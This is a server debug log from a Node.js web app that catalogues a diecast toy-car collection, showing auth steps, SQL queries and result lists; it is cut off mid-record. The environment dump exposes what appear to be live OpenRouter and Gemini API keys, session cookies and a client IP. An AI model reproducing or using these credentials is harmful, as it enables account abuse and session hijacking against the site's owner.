2026-02-04T11:25:46.871Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:46.871Z server-connect:output restrict: undefined
2026-02-04T11:25:46.871Z server-connect:app Executing action step condition
2026-02-04T11:25:46.871Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:25:46.871Z server-connect:app Executing action step insert
2026-02-04T11:25:46.871Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:25:46.872Z server-connect:output insert: { affected: 1, identity: 196 }
2026-02-04T11:25:46.872Z server-connect:output condition: undefined
2026-02-04T11:25:47.242Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-04T11:25:47.242Z server-connect:app Executing action step identify
2026-02-04T11:25:47.242Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:47.242Z server-connect:output identity: 1
2026-02-04T11:25:47.242Z server-connect:app Executing action step restrict
2026-02-04T11:25:47.242Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:47.243Z server-connect:output restrict: undefined
2026-02-04T11:25:47.243Z server-connect:app Executing action step paged
2026-02-04T11:25:47.243Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-04T11:25:47.244Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 190,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-04T11:25:49.319Z server-connect:router Serving templateView /diecast
2026-02-04T11:25:49.320Z server-connect:app Executing action step identify
2026-02-04T11:25:49.320Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:49.320Z server-connect:output identity: 1
2026-02-04T11:25:49.320Z server-connect:app Executing action step restrict
2026-02-04T11:25:49.320Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:25:49.320Z server-connect:output restrict: undefined
2026-02-04T11:25:49.320Z server-connect:router Render template diecast
2026-02-04T11:25:49.320Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:25:49.673Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:25:49.674Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:25:49.674Z server-connect:app Executing action step identify
2026-02-04T11:25:49.674Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:49.674Z server-connect:output identity: 1
2026-02-04T11:25:49.674Z server-connect:app Executing action step restrict
2026-02-04T11:25:49.674Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:49.674Z server-connect:app Executing action step identify
2026-02-04T11:25:49.674Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:49.674Z server-connect:output identity: 1
2026-02-04T11:25:49.674Z server-connect:app Executing action step restrict
2026-02-04T11:25:49.674Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:49.675Z server-connect:output restrict: undefined
2026-02-04T11:25:49.675Z server-connect:app Executing action step select
2026-02-04T11:25:49.675Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:25:49.675Z server-connect:output restrict: undefined
2026-02-04T11:25:49.675Z server-connect:app Executing action step select
2026-02-04T11:25:49.675Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:25:49.676Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:25:49.677Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:25:49.679Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:25:49.680Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:25:49.680Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:25:49.680Z server-connect:app Executing action step identify
2026-02-04T11:25:49.680Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:49.680Z server-connect:output identity: 1
2026-02-04T11:25:49.680Z server-connect:app Executing action step restrict
2026-02-04T11:25:49.680Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:49.680Z server-connect:app Executing action step identify
2026-02-04T11:25:49.680Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:49.680Z server-connect:output identity: 1
2026-02-04T11:25:49.680Z server-connect:app Executing action step restrict
2026-02-04T11:25:49.680Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:49.681Z server-connect:output restrict: undefined
2026-02-04T11:25:49.681Z server-connect:app Executing action step paged
2026-02-04T11:25:49.681Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:25:49.681Z server-connect:app Executing action step identify
2026-02-04T11:25:49.681Z server-connect:app options: { provider: 'security' }
2026-02-04T11:25:49.681Z server-connect:output identity: 1
2026-02-04T11:25:49.681Z server-connect:app Executing action step restrict
2026-02-04T11:25:49.681Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:25:49.682Z server-connect:output restrict: undefined
2026-02-04T11:25:49.682Z server-connect:app Executing action step select
2026-02-04T11:25:49.682Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:25:49.682Z server-connect:output restrict: undefined
2026-02-04T11:25:49.682Z server-connect:app Executing action step select
2026-02-04T11:25:49.682Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:25:49.683Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 }
]
2026-02-04T11:25:49.684Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 159,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
